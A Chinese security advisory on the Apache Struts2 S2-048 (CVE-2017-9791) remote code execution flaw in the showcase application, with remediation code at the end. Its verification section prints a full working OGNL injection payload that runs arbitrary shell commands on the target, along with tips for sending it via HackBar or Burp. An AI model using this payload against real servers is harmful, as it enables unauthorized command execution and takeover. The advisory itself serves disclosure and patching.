安云科技紧急安全通告- “Struts2-048”-附验证payload

12-18 22:11 首页 安云信息

Struts2官方在7.6已经确认存在新的远程代码执行漏洞

1.漏洞摘要


漏洞编号:S2-048

CVE编号:CVE-2017-9791

漏洞危害:高


影响范围:Struts 2.3.x系列中的showcase应用。


2.验证漏洞存在方式


目标站点需存在struts2-showcase目录

/struts2-showcase/integration/saveGangster.action


打开火狐自带hackbat插件在post处插入payload

 

name=${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=whoami).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}&age=456&__checkbox_bustedBefore=true&description=789

 


PayloadStruts-045漏洞 注:payload执行具体命令可自己设置

点击发送的时候可以使用BURP抓包测试方便执行任意命令


不使用burp直接页面获取


3.解决方案

向ActionMessage传递原始消息时使用类似下面的资源键值,不要直接传递原始数值


messages.add("msg",new ActionMessage("struts1.gangsterAdded", gform.getName()));


值不应如此:

messages.add("msg",new ActionMessage("Gangster " + gform.getName() + " wasadded"));



首页 - 安云信息 的更多文章: